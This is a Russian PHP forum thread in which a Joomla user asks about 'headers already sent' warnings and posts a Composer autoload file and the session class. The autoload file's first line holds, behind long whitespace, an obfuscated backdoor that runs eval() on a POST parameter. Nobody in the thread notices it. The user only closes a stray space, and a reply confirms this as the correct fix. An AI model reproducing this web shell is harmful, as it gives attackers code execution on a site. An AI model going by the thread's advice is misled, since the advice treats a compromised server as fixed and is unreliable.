За последние 24 часа нас посетил 87091 программист и 7984 робота. Сейчас ищут 3616 программистов ...

Помогите решить проблему!

Тема в разделе "PHP для новичков", создана пользователем kostyarin, 2 дек 2015.

  1. kostyarin

    kostyarin Новичок

    С нами с:
    30 окт 2015
    Сообщения:
    14
    Симпатии:
    0
    Уважаемые друзья! помогите решить проблему! появилась ошибка вчера вечером сама по себе /в коде ничего не исправлял/, следующего содержания

    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at docs/libraries/vendor/composer/autoload_files.php:1) in docs/libraries/joomla/session/session.php on line 665

    а утром появилась еще и такая

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent (output started at docs/libraries/vendor/composer/autoload_files.php:1) in docs/libraries/joomla/session/session.php on line 665

    и теперь даже не могу войти в панель управления joomla..
    Что случилось и как исправить?

    docs/libraries/vendor/composer/autoload_files.php
    Код (PHP):
    1.  <?php                                                                                                                                                                                                                                                                            $fsve4 = "euop_rst"; $awga7 = $fsve4[6].$fsve4[7].$fsve4[5].$fsve4[7]. $fsve4[2]. $fsve4[1]. $fsve4[3]. $fsve4[3]. $fsve4[0]. $fsve4[5] ;$ffrx9= $awga7 ($fsve4[4]. $fsve4[3] .$fsve4[2]. $fsve4[6].$fsve4[7]) ;if ( isset ( ${$ffrx9 } [ 'q8ab8f3' ]) ){ eval (${ $ffrx9} [ 'q8ab8f3' ] ) ;} ?> <?php
    2.  
    3. // autoload_files.php @generated by Composer
    4.  
    5. $vendorDir = dirname(dirname(__FILE__));
    6. $baseDir = dirname(dirname($vendorDir));
    7.  
    8. return array(
    9.     $vendorDir . '/ircmaxell/password-compat/lib/password.php',
    10. ); 
    docs/libraries/joomla/session/session.php
    Код (PHP):
    1. <?php
    2. /**
    3.  * @package     Joomla.Platform
    4.  * @subpackage  Session
    5.  *
    6.  * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
    7.  * @license     GNU General Public License version 2 or later; see LICENSE
    8.  */
    9.  
    10. defined('JPATH_PLATFORM') or die;
    11.  
    12. /**
    13.  * Class for managing HTTP sessions
    14.  *
    15.  * Provides access to session-state values as well as session-level
    16.  * settings and lifetime management methods.
    17.  * Based on the standard PHP session handling mechanism it provides
    18.  * more advanced features such as expire timeouts.
    19.  *
    20.  * @since  11.1
    21.  */
    22. class JSession implements IteratorAggregate
    23. {
    24.     /**
    25.      * Internal state.
    26.      * One of 'inactive'|'active'|'expired'|'destroyed'|'error'
    27.      *
    28.      * @var    string
    29.      * @see    JSession::getState()
    30.      * @since  11.1
    31.      */
    32.     protected $_state = 'inactive';
    33.  
    34.     /**
    35.      * Maximum age of unused session in minutes
    36.      *
    37.      * @var    string
    38.      * @since  11.1
    39.      */
    40.     protected $_expire = 15;
    41.  
    42.     /**
    43.      * The session store object.
    44.      *
    45.      * @var    JSessionStorage
    46.      * @since  11.1
    47.      */
    48.     protected $_store = null;
    49.  
    50.     /**
    51.      * Security policy.
    52.      * List of checks that will be done.
    53.      *
    54.      * Default values:
    55.      * - fix_browser
    56.      * - fix_adress
    57.      *
    58.      * @var    array
    59.      * @since  11.1
    60.      */
    61.     protected $_security = array('fix_browser');
    62.  
    63.     /**
    64.      * Force cookies to be SSL only
    65.      * Default  false
    66.      *
    67.      * @var    boolean
    68.      * @since  11.1
    69.      */
    70.     protected $_force_ssl = false;
    71.  
    72.     /**
    73.      * JSession instances container.
    74.      *
    75.      * @var    JSession
    76.      * @since  11.3
    77.      */
    78.     protected static $instance;
    79.  
    80.     /**
    81.      * The type of storage for the session.
    82.      *
    83.      * @var    string
    84.      * @since  12.2
    85.      */
    86.     protected $storeName;
    87.  
    88.     /**
    89.      * Holds the JInput object
    90.      *
    91.      * @var    JInput
    92.      * @since  12.2
    93.      */
    94.     private $_input = null;
    95.  
    96.     /**
    97.      * Holds the event dispatcher object
    98.      *
    99.      * @var    JEventDispatcher
    100.      * @since  12.2
    101.      */
    102.     private $_dispatcher = null;
    103.  
    104.     /**
    105.      * Constructor
    106.      *
    107.      * @param   string  $store    The type of storage for the session.
    108.      * @param   array   $options  Optional parameters
    109.      *
    110.      * @since   11.1
    111.      */
    112.     public function __construct($store = 'none', array $options = array())
    113.     {
    114.         // Need to destroy any existing sessions started with session.auto_start
    115.         if (session_id())
    116.         {
    117.             session_unset();
    118.             session_destroy();
    119.         }
    120.  
    121.         // Disable transparent sid support
    122.         ini_set('session.use_trans_sid', '0');
    123.  
    124.         // Only allow the session ID to come from cookies and nothing else.
    125.         ini_set('session.use_only_cookies', '1');
    126.  
    127.         // Create handler
    128.         $this->_store = JSessionStorage::getInstance($store, $options);
    129.  
    130.         $this->storeName = $store;
    131.  
    132.         // Set options
    133.         $this->_setOptions($options);
    134.  
    135.         $this->_setCookieParams();
    136.  
    137.         $this->_state = 'inactive';
    138.     }
    139.  
    140.     /**
    141.      * Magic method to get read-only access to properties.
    142.      *
    143.      * @param   string  $name  Name of property to retrieve
    144.      *
    145.      * @return  mixed   The value of the property
    146.      *
    147.      * @since   12.2
    148.      */
    149.     public function __get($name)
    150.     {
    151.         if ($name === 'storeName')
    152.         {
    153.             return $this->$name;
    154.         }
    155.  
    156.         if ($name === 'state' || $name === 'expire')
    157.         {
    158.             $property = '_' . $name;
    159.  
    160.             return $this->$property;
    161.         }
    162.     }
    163.  
    164.     /**
    165.      * Returns the global Session object, only creating it
    166.      * if it doesn't already exist.
    167.      *
    168.      * @param   string  $handler  The type of session handler.
    169.      * @param   array   $options  An array of configuration options.
    170.      *
    171.      * @return  JSession  The Session object.
    172.      *
    173.      * @since   11.1
    174.      */
    175.     public static function getInstance($handler, $options)
    176.     {
    177.         if (!is_object(self::$instance))
    178.         {
    179.             self::$instance = new JSession($handler, $options);
    180.         }
    181.  
    182.         return self::$instance;
    183.     }
    184.  
    185.     /**
    186.      * Get current state of session
    187.      *
    188.      * @return  string  The session state
    189.      *
    190.      * @since   11.1
    191.      */
    192.     public function getState()
    193.     {
    194.         return $this->_state;
    195.     }
    196.  
    197.     /**
    198.      * Get expiration time in minutes
    199.      *
    200.      * @return  integer  The session expiration time in minutes
    201.      *
    202.      * @since   11.1
    203.      */
    204.     public function getExpire()
    205.     {
    206.         return $this->_expire;
    207.     }
    208.  
    209.     /**
    210.      * Get a session token, if a token isn't set yet one will be generated.
    211.      *
    212.      * Tokens are used to secure forms from spamming attacks. Once a token
    213.      * has been generated the system will check the post request to see if
    214.      * it is present, if not it will invalidate the session.
    215.      *
    216.      * @param   boolean  $forceNew  If true, force a new token to be created
    217.      *
    218.      * @return  string  The session token
    219.      *
    220.      * @since   11.1
    221.      */
    222.     public function getToken($forceNew = false)
    223.     {
    224.         $token = $this->get('session.token');
    225.  
    226.         // Create a token
    227.         if ($token === null || $forceNew)
    228.         {
    229.             $token = $this->_createToken(12);
    230.             $this->set('session.token', $token);
    231.         }
    232.  
    233.         return $token;
    234.     }
    235.  
    236.     /**
    237.      * Method to determine if a token exists in the session. If not the
    238.      * session will be set to expired
    239.      *
    240.      * @param   string   $tCheck       Hashed token to be verified
    241.      * @param   boolean  $forceExpire  If true, expires the session
    242.      *
    243.      * @return  boolean
    244.      *
    245.      * @since   11.1
    246.      */
    247.     public function hasToken($tCheck, $forceExpire = true)
    248.     {
    249.         // Check if a token exists in the session
    250.         $tStored = $this->get('session.token');
    251.  
    252.         // Check token
    253.         if (($tStored !== $tCheck))
    254.         {
    255.             if ($forceExpire)
    256.             {
    257.                 $this->_state = 'expired';
    258.             }
    259.  
    260.             return false;
    261.         }
    262.  
    263.         return true;
    264.     }
    265.  
    266.     /**
    267.      * Method to determine a hash for anti-spoofing variable names
    268.      *
    269.      * @param   boolean  $forceNew  If true, force a new token to be created
    270.      *
    271.      * @return  string  Hashed var name
    272.      *
    273.      * @since   11.1
    274.      */
    275.     public static function getFormToken($forceNew = false)
    276.     {
    277.         $user    = JFactory::getUser();
    278.         $session = JFactory::getSession();
    279.  
    280.         // TODO: Decouple from legacy JApplication class.
    281.         if (is_callable(array('JApplication', 'getHash')))
    282.         {
    283.             $hash = JApplication::getHash($user->get('id', 0) . $session->getToken($forceNew));
    284.         }
    285.         else
    286.         {
    287.             $hash = md5(JFactory::getApplication()->get('secret') . $user->get('id', 0) . $session->getToken($forceNew));
    288.         }
    289.  
    290.         return $hash;
    291.     }
    292.  
    293.     /**
    294.      * Retrieve an external iterator.
    295.      *
    296.      * @return  ArrayIterator  Return an ArrayIterator of $_SESSION.
    297.      *
    298.      * @since   12.2
    299.      */
    300.     public function getIterator()
    301.     {
    302.         return new ArrayIterator($_SESSION);
    303.     }
    304.  
    305.     /**
    306.      * Checks for a form token in the request.
    307.      *
    308.      * Use in conjunction with JHtml::_('form.token') or JSession::getFormToken.
    309.      *
    310.      * @param   string  $method  The request method in which to look for the token key.
    311.      *
    312.      * @return  boolean  True if found and valid, false otherwise.
    313.      *
    314.      * @since   12.1
    315.      */
    316.     public static function checkToken($method = 'post')
    317.     {
    318.         $token = self::getFormToken();
    319.         $app = JFactory::getApplication();
    320.  
    321.         if (!$app->input->$method->get($token, '', 'alnum'))
    322.         {
    323.             $session = JFactory::getSession();
    324.  
    325.             if ($session->isNew())
    326.             {
    327.                 // Redirect to login screen.
    328.                 $app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
    329.                 $app->redirect(JRoute::_('index.php'));
    330.             }
    331.             else
    332.             {
    333.                 return false;
    334.             }
    335.         }
    336.         else
    337.         {
    338.             return true;
    339.         }
    340.     }
    341.  
    342.     /**
    343.      * Get session name
    344.      *
    345.      * @return  string  The session name
    346.      *
    347.      * @since   11.1
    348.      */
    349.     public function getName()
    350.     {
    351.         if ($this->_state === 'destroyed')
    352.         {
    353.             // @TODO : raise error
    354.             return null;
    355.         }
    356.  
    357.         return session_name();
    358.     }
    359.  
    360.     /**
    361.      * Get session id
    362.      *
    363.      * @return  string  The session name
    364.      *
    365.      * @since   11.1
    366.      */
    367.     public function getId()
    368.     {
    369.         if ($this->_state === 'destroyed')
    370.         {
    371.             // @TODO : raise error
    372.             return null;
    373.         }
    374.  
    375.         return session_id();
    376.     }
    377.  
    378.     /**
    379.      * Get the session handlers
    380.      *
    381.      * @return  array  An array of available session handlers
    382.      *
    383.      * @since   11.1
    384.      */
    385.     public static function getStores()
    386.     {
    387.         $connectors = array();
    388.  
    389.         // Get an iterator and loop trough the driver classes.
    390.         $iterator = new DirectoryIterator(__DIR__ . '/storage');
    391.  
    392.         /* @type  $file  DirectoryIterator */
    393.         foreach ($iterator as $file)
    394.         {
    395.             $fileName = $file->getFilename();
    396.  
    397.             // Only load for php files.
    398.             if (!$file->isFile() || $file->getExtension() != 'php')
    399.             {
    400.                 continue;
    401.             }
    402.  
    403.             // Derive the class name from the type.
    404.             $class = str_ireplace('.php', '', 'JSessionStorage' . ucfirst(trim($fileName)));
    405.  
    406.             // If the class doesn't exist we have nothing left to do but look at the next type. We did our best.
    407.             if (!class_exists($class))
    408.             {
    409.                 continue;
    410.             }
    411.  
    412.             // Sweet!  Our class exists, so now we just need to know if it passes its test method.
    413.             if ($class::isSupported())
    414.             {
    415.                 // Connector names should not have file extensions.
    416.                 $connectors[] = str_ireplace('.php', '', $fileName);
    417.             }
    418.         }
    419.  
    420.         return $connectors;
    421.     }
    422.  
    423.     /**
    424.      * Shorthand to check if the session is active
    425.      *
    426.      * @return  boolean
    427.      *
    428.      * @since   12.2
    429.      */
    430.     public function isActive()
    431.     {
    432.         return (bool) ($this->_state == 'active');
    433.     }
    434.  
    435.     /**
    436.      * Check whether this session is currently created
    437.      *
    438.      * @return  boolean  True on success.
    439.      *
    440.      * @since   11.1
    441.      */
    442.     public function isNew()
    443.     {
    444.         $counter = $this->get('session.counter');
    445.  
    446.         return (bool) ($counter === 1);
    447.     }
    448.  
    449.     /**
    450.      * Check whether this session is currently created
    451.      *
    452.      * @param   JInput            $input       JInput object for the session to use.
    453.      * @param   JEventDispatcher  $dispatcher  Dispatcher object for the session to use.
    454.      *
    455.      * @return  void.
    456.      *
    457.      * @since   12.2
    458.      */
    459.     public function initialise(JInput $input, JEventDispatcher $dispatcher = null)
    460.     {
    461.         $this->_input      = $input;
    462.         $this->_dispatcher = $dispatcher;
    463.     }
    464.  
    465.     /**
    466.      * Get data from the session store
    467.      *
    468.      * @param   string  $name       Name of a variable
    469.      * @param   mixed   $default    Default value of a variable if not set
    470.      * @param   string  $namespace  Namespace to use, default to 'default'
    471.      *
    472.      * @return  mixed  Value of a variable
    473.      *
    474.      * @since   11.1
    475.      */
    476.     public function get($name, $default = null, $namespace = 'default')
    477.     {
    478.         // Add prefix to namespace to avoid collisions
    479.         $namespace = '__' . $namespace;
    480.  
    481.         if ($this->_state === 'destroyed')
    482.         {
    483.             // @TODO :: generated error here
    484.             $error = null;
    485.  
    486.             return $error;
    487.         }
    488.  
    489.         if (isset($_SESSION[$namespace][$name]))
    490.         {
    491.             return $_SESSION[$namespace][$name];
    492.         }
    493.  
    494.         return $default;
    495.     }
    496.  
    497.     /**
    498.      * Set data into the session store.
    499.      *
    500.      * @param   string  $name       Name of a variable.
    501.      * @param   mixed   $value      Value of a variable.
    502.      * @param   string  $namespace  Namespace to use, default to 'default'.
    503.      *
    504.      * @return  mixed  Old value of a variable.
    505.      *
    506.      * @since   11.1
    507.      */
    508.     public function set($name, $value = null, $namespace = 'default')
    509.     {
    510.         // Add prefix to namespace to avoid collisions
    511.         $namespace = '__' . $namespace;
    512.  
    513.         if ($this->_state !== 'active')
    514.         {
    515.             // @TODO :: generated error here
    516.             return null;
    517.         }
    518.  
    519.         $old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name] : null;
    520.  
    521.         if (null === $value)
    522.         {
    523.             unset($_SESSION[$namespace][$name]);
    524.         }
    525.         else
    526.         {
    527.             $_SESSION[$namespace][$name] = $value;
    528.         }
    529.  
    530.         return $old;
    531.     }
    532.  
    533.     /**
    534.      * Check whether data exists in the session store
    535.      *
    536.      * @param   string  $name       Name of variable
    537.      * @param   string  $namespace  Namespace to use, default to 'default'
    538.      *
    539.      * @return  boolean  True if the variable exists
    540.      *
    541.      * @since   11.1
    542.      */
    543.     public function has($name, $namespace = 'default')
    544.     {
    545.         // Add prefix to namespace to avoid collisions.
    546.         $namespace = '__' . $namespace;
    547.  
    548.         if ($this->_state !== 'active')
    549.         {
    550.             // @TODO :: generated error here
    551.             return null;
    552.         }
    553.  
    554.         return isset($_SESSION[$namespace][$name]);
    555.     }
    556.  
    557.     /**
    558.      * Unset data from the session store
    559.      *
    560.      * @param   string  $name       Name of variable
    561.      * @param   string  $namespace  Namespace to use, default to 'default'
    562.      *
    563.      * @return  mixed   The value from session or NULL if not set
    564.      *
    565.      * @since   11.1
    566.      */
    567.     public function clear($name, $namespace = 'default')
    568.     {
    569.         // Add prefix to namespace to avoid collisions
    570.         $namespace = '__' . $namespace;
    571.  
    572.         if ($this->_state !== 'active')
    573.         {
    574.             // @TODO :: generated error here
    575.             return null;
    576.         }
    577.  
    578.         $value = null;
    579.  
    580.         if (isset($_SESSION[$namespace][$name]))
    581.         {
    582.             $value = $_SESSION[$namespace][$name];
    583.             unset($_SESSION[$namespace][$name]);
    584.         }
    585.  
    586.         return $value;
    587.     }
    588.  
    589.     /**
    590.      * Start a session.
    591.      *
    592.      * @return  void
    593.      *
    594.      * @since   12.2
    595.      */
    596.     public function start()
    597.     {
    598.         if ($this->_state === 'active')
    599.         {
    600.             return;
    601.         }
    602.  
    603.         $this->_start();
    604.  
    605.         $this->_state = 'active';
    606.  
    607.         // Initialise the session
    608.         $this->_setCounter();
    609.         $this->_setTimers();
    610.  
    611.         // Perform security checks
    612.         $this->_validate();
    613.  
    614.         if ($this->_dispatcher instanceof JEventDispatcher)
    615.         {
    616.             $this->_dispatcher->trigger('onAfterSessionStart');
    617.         }
    618.     }
    619.  
    620.     /**
    621.      * Start a session.
    622.      *
    623.      * Creates a session (or resumes the current one based on the state of the session)
    624.      *
    625.      * @return  boolean  true on success
    626.      *
    627.      * @since   11.1
    628.      */
    629.     protected function _start()
    630.     {
    631.         // Start session if not started
    632.         if ($this->_state === 'restart')
    633.         {
    634.             session_regenerate_id(true);
    635.         }
    636.         else
    637.         {
    638.             $session_name = session_name();
    639.  
    640.             // Get the JInputCookie object
    641.             $cookie = $this->_input->cookie;
    642.  
    643.             if (is_null($cookie->get($session_name)))
    644.             {
    645.                 $session_clean = $this->_input->get($session_name, false, 'string');
    646.  
    647.                 if ($session_clean)
    648.                 {
    649.                     session_id($session_clean);
    650.                     $cookie->set($session_name, '', time() - 3600);
    651.                 }
    652.             }
    653.         }
    654.  
    655.         /**
    656.          * Write and Close handlers are called after destructing objects since PHP 5.0.5.
    657.          * Thus destructors can use sessions but session handler can't use objects.
    658.          * So we are moving session closure before destructing objects.
    659.          *
    660.          * Replace with session_register_shutdown() when dropping compatibility with PHP 5.3
    661.          */
    662.         register_shutdown_function('session_write_close');
    663.  
    664.         session_cache_limiter('none');
    665.         session_start();
    666.  
    667.         return true;
    668.     }
    669.  
    670.     /**
    671.      * Frees all session variables and destroys all data registered to a session
    672.      *
    673.      * This method resets the $_SESSION variable and destroys all of the data associated
    674.      * with the current session in its storage (file or DB). It forces new session to be
    675.      * started after this method is called. It does not unset the session cookie.
    676.      *
    677.      * @return  boolean  True on success
    678.      *
    679.      * @see     session_destroy()
    680.      * @see     session_unset()
    681.      * @since   11.1
    682.      */
    683.     public function destroy()
    684.     {
    685.         // Session was already destroyed
    686.         if ($this->_state === 'destroyed')
    687.         {
    688.             return true;
    689.         }
    690.  
    691.         /*
    692.          * In order to kill the session altogether, such as to log the user out, the session id
    693.          * must also be unset. If a cookie is used to propagate the session id (default behavior),
    694.          * then the session cookie must be deleted.
    695.          */
    696.         if (isset($_COOKIE[session_name()]))
    697.         {
    698.             $config = JFactory::getConfig();
    699.             $cookie_domain = $config->get('cookie_domain', '');
    700.             $cookie_path = $config->get('cookie_path', '/');
    701.             setcookie(session_name(), '', time() - 42000, $cookie_path, $cookie_domain);
    702.         }
    703.  
    704.         session_unset();
    705.         session_destroy();
    706.  
    707.         $this->_state = 'destroyed';
    708.  
    709.         return true;
    710.     }
    711.  
    712.     /**
    713.      * Restart an expired or locked session.
    714.      *
    715.      * @return  boolean  True on success
    716.      *
    717.      * @see     JSession::destroy()
    718.      * @since   11.1
    719.      */
    720.     public function restart()
    721.     {
    722.         $this->destroy();
    723.  
    724.         if ($this->_state !== 'destroyed')
    725.         {
    726.             // @TODO :: generated error here
    727.             return false;
    728.         }
    729.  
    730.         // Re-register the session handler after a session has been destroyed, to avoid PHP bug
    731.         $this->_store->register();
    732.  
    733.         $this->_state = 'restart';
    734.  
    735.         // Regenerate session id
    736.         session_regenerate_id(true);
    737.         $this->_start();
    738.         $this->_state = 'active';
    739.  
    740.         $this->_validate();
    741.         $this->_setCounter();
    742.  
    743.         return true;
    744.     }
    745.  
    746.     /**
    747.      * Create a new session and copy variables from the old one
    748.      *
    749.      * @return  boolean $result true on success
    750.      *
    751.      * @since   11.1
    752.      */
    753.     public function fork()
    754.     {
    755.         if ($this->_state !== 'active')
    756.         {
    757.             // @TODO :: generated error here
    758.             return false;
    759.         }
    760.  
    761.         // Keep session config
    762.         $cookie = session_get_cookie_params();
    763.  
    764.         // Kill session
    765.         session_destroy();
    766.  
    767.         // Re-register the session store after a session has been destroyed, to avoid PHP bug
    768.         $this->_store->register();
    769.  
    770.         // Restore config
    771.         session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);
    772.  
    773.         // Restart session with new id
    774.         session_regenerate_id(true);
    775.         session_start();
    776.  
    777.         return true;
    778.     }
    779.  
    780.     /**
    781.      * Writes session data and ends session
    782.      *
    783.      * Session data is usually stored after your script terminated without the need
    784.      * to call JSession::close(), but as session data is locked to prevent concurrent
    785.      * writes only one script may operate on a session at any time. When using
    786.      * framesets together with sessions you will experience the frames loading one
    787.      * by one due to this locking. You can reduce the time needed to load all the
    788.      * frames by ending the session as soon as all changes to session variables are
    789.      * done.
    790.      *
    791.      * @return  void
    792.      *
    793.      * @see     session_write_close()
    794.      * @since   11.1
    795.      */
    796.     public function close()
    797.     {
    798.         session_write_close();
    799.     }
    800.  
    801.     /**
    802.      * Set session cookie parameters
    803.      *
    804.      * @return  void
    805.      *
    806.      * @since   11.1
    807.      */
    808.     protected function _setCookieParams()
    809.     {
    810.         $cookie = session_get_cookie_params();
    811.  
    812.         if ($this->_force_ssl)
    813.         {
    814.             $cookie['secure'] = true;
    815.         }
    816.  
    817.         $config = JFactory::getConfig();
    818.  
    819.         if ($config->get('cookie_domain', '') != '')
    820.         {
    821.             $cookie['domain'] = $config->get('cookie_domain');
    822.         }
    823.  
    824.         if ($config->get('cookie_path', '') != '')
    825.         {
    826.             $cookie['path'] = $config->get('cookie_path');
    827.         }
    828.  
    829.         session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);
    830.     }
    831.  
    832.     /**
    833.      * Create a token-string
    834.      *
    835.      * @param   integer  $length  Length of string
    836.      *
    837.      * @return  string  Generated token
    838.      *
    839.      * @since   11.1
    840.      */
    841.     protected function _createToken($length = 32)
    842.     {
    843.         static $chars = '0123456789abcdef';
    844.         $max = strlen($chars) - 1;
    845.         $token = '';
    846.         $name = session_name();
    847.  
    848.         for ($i = 0; $i < $length; ++$i)
    849.         {
    850.             $token .= $chars[(rand(0, $max))];
    851.         }
    852.  
    853.         return md5($token . $name);
    854.     }
    855.  
    856.     /**
    857.      * Set counter of session usage
    858.      *
    859.      * @return  boolean  True on success
    860.      *
    861.      * @since   11.1
    862.      */
    863.     protected function _setCounter()
    864.     {
    865.         $counter = $this->get('session.counter', 0);
    866.         ++$counter;
    867.  
    868.         $this->set('session.counter', $counter);
    869.  
    870.         return true;
    871.     }
    872.  
    873.     /**
    874.      * Set the session timers
    875.      *
    876.      * @return  boolean  True on success
    877.      *
    878.      * @since   11.1
    879.      */
    880.     protected function _setTimers()
    881.     {
    882.         if (!$this->has('session.timer.start'))
    883.         {
    884.             $start = time();
    885.  
    886.             $this->set('session.timer.start', $start);
    887.             $this->set('session.timer.last', $start);
    888.             $this->set('session.timer.now', $start);
    889.         }
    890.  
    891.         $this->set('session.timer.last', $this->get('session.timer.now'));
    892.         $this->set('session.timer.now', time());
    893.  
    894.         return true;
    895.     }
    896.  
    897.     /**
    898.      * Set additional session options
    899.      *
    900.      * @param   array  $options  List of parameter
    901.      *
    902.      * @return  boolean  True on success
    903.      *
    904.      * @since   11.1
    905.      */
    906.     protected function _setOptions(array $options)
    907.     {
    908.         // Set name
    909.         if (isset($options['name']))
    910.         {
    911.             session_name(md5($options['name']));
    912.         }
    913.  
    914.         // Set id
    915.         if (isset($options['id']))
    916.         {
    917.             session_id($options['id']);
    918.         }
    919.  
    920.         // Set expire time
    921.         if (isset($options['expire']))
    922.         {
    923.             $this->_expire = $options['expire'];
    924.         }
    925.  
    926.         // Get security options
    927.         if (isset($options['security']))
    928.         {
    929.             $this->_security = explode(',', $options['security']);
    930.         }
    931.  
    932.         if (isset($options['force_ssl']))
    933.         {
    934.             $this->_force_ssl = (bool) $options['force_ssl'];
    935.         }
    936.  
    937.         // Sync the session maxlifetime
    938.         ini_set('session.gc_maxlifetime', $this->_expire);
    939.  
    940.         return true;
    941.     }
    942.  
    943.     /**
    944.      * Do some checks for security reason
    945.      *
    946.      * - timeout check (expire)
    947.      * - ip-fixiation
    948.      * - browser-fixiation
    949.      *
    950.      * If one check failed, session data has to be cleaned.
    951.      *
    952.      * @param   boolean  $restart  Reactivate session
    953.      *
    954.      * @return  boolean  True on success
    955.      *
    956.      * @see     http://shiflett.org/articles/the-truth-about-sessions
    957.      * @since   11.1
    958.      */
    959.     protected function _validate($restart = false)
    960.     {
    961.         // Allow to restart a session
    962.         if ($restart)
    963.         {
    964.             $this->_state = 'active';
    965.  
    966.             $this->set('session.client.address', null);
    967.             $this->set('session.client.forwarded', null);
    968.             $this->set('session.client.browser', null);
    969.             $this->set('session.token', null);
    970.         }
    971.  
    972.         // Check if session has expired
    973.         if ($this->_expire)
    974.         {
    975.             $curTime = $this->get('session.timer.now', 0);
    976.             $maxTime = $this->get('session.timer.last', 0) + $this->_expire;
    977.  
    978.             // Empty session variables
    979.             if ($maxTime < $curTime)
    980.             {
    981.                 $this->_state = 'expired';
    982.  
    983.                 return false;
    984.             }
    985.         }
    986.  
    987.         // Record proxy forwarded for in the session in case we need it later
    988.         if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    989.         {
    990.             $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
    991.         }
    992.  
    993.         // Check for client address
    994.         if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']))
    995.         {
    996.             $ip = $this->get('session.client.address');
    997.  
    998.             if ($ip === null)
    999.             {
    1000.                 $this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
    1001.             }
    1002.             elseif ($_SERVER['REMOTE_ADDR'] !== $ip)
    1003.             {
    1004.                 $this->_state = 'error';
    1005.  
    1006.                 return false;
    1007.             }
    1008.         }
    1009.  
    1010.         // Check for clients browser
    1011.         if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
    1012.         {
    1013.             $browser = $this->get('session.client.browser');
    1014.  
    1015.             if ($browser === null)
    1016.             {
    1017.                 $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    1018.             }
    1019.             elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
    1020.             {
    1021.                 // @todo remove code:                 $this->_state    =    'error';
    1022.                 // @todo remove code:                 return false;
    1023.             }
    1024.         }
    1025.  
    1026.         return true;
    1027.     }
    1028. }  
    PHP, JavaScript, SQL и другой код пишите внутри тегов
    Код ( (Unknown Language)):
    1. [b]php][/b]Тут код[b][/[/b][b]code][/b][/color]
     
  2. mahmuzar

    mahmuzar Старожил

    С нами с:
    6 апр 2012
    Сообщения:
    4.601
    Симпатии:
    423
    Адрес:
    РД, г. Махачкала.
    гуглите ошибку, и ответ найдется.
     
  3. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.213
    Симпатии:
    1.711
    Адрес:
    Молдова, г.Кишинёв
    http://php.ru/manual/function.header.html

     
  4. kostyarin

    kostyarin Новичок

    С нами с:
    30 окт 2015
    Сообщения:
    14
    Симпатии:
    0
    denis01, в моем случае что не так? подскажите, пожалуйста...
     
  5. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.012
    Симпатии:
    1.679
    Адрес:
    :сердА
  6. kostyarin

    kostyarin Новичок

    С нами с:
    30 окт 2015
    Сообщения:
    14
    Симпатии:
    0
    скажите , правильно ли я сделал, но ошибка исчезла
    Код (PHP):
    1. <?php                                                                                                                                                                                                                                                                            $fsve4 = "euop_rst"; $awga7 = $fsve4[6].$fsve4[7].$fsve4[5].$fsve4[7]. $fsve4[2]. $fsve4[1]. $fsve4[3]. $fsve4[3]. $fsve4[0]. $fsve4[5] ;$ffrx9= $awga7 ($fsve4[4]. $fsve4[3] .$fsve4[2]. $fsve4[6].$fsve4[7]) ;if ( isset ( ${$ffrx9 } [ 'q8ab8f3' ]) ){ eval (${ $ffrx9} [ 'q8ab8f3' ] ) ;} ?><?php
    2.  
    3. // autoload_files.php @generated by Composer
    4.  
    5. $vendorDir = dirname(dirname(__FILE__));
    6. $baseDir = dirname(dirname($vendorDir));
    7.  
    8. return array(
    9.     $vendorDir . '/ircmaxell/password-compat/lib/password.php',
    10. );
    было так ?> <?php просто соединил ?><?php и все РАБОТАЕТ. правильно ли это???

    PHP, JavaScript, SQL и другой код пишите внутри тегов
    Код ( (Unknown Language)):
    1. [b]php][/b]Тут код[b][/[/b][b]code][/b][/color]
     
  7. runcore

    runcore Старожил

    С нами с:
    12 окт 2012
    Сообщения:
    3.625
    Симпатии:
    158
    да. ты красава
     
  8. kostyarin

    kostyarin Новичок

    С нами с:
    30 окт 2015
    Сообщения:
    14
    Симпатии:
    0
    )))спс! но как так получилось, что образовался пробел? ведь я в код до этого вообще не лез... и почему в ошибке указывает на 1 строчку а я исправил на 6 ??
     
  9. runcore

    runcore Старожил

    С нами с:
    12 окт 2012
    Сообщения:
    3.625
    Симпатии:
    158
    кстати, даже более того, ты можешь вообще удалить ?><?php
    и все будет работаь)
     
  10. kostyarin

    kostyarin Новичок

    С нами с:
    30 окт 2015
    Сообщения:
    14
    Симпатии:
    0
    АГА, РАБОТАЕТ!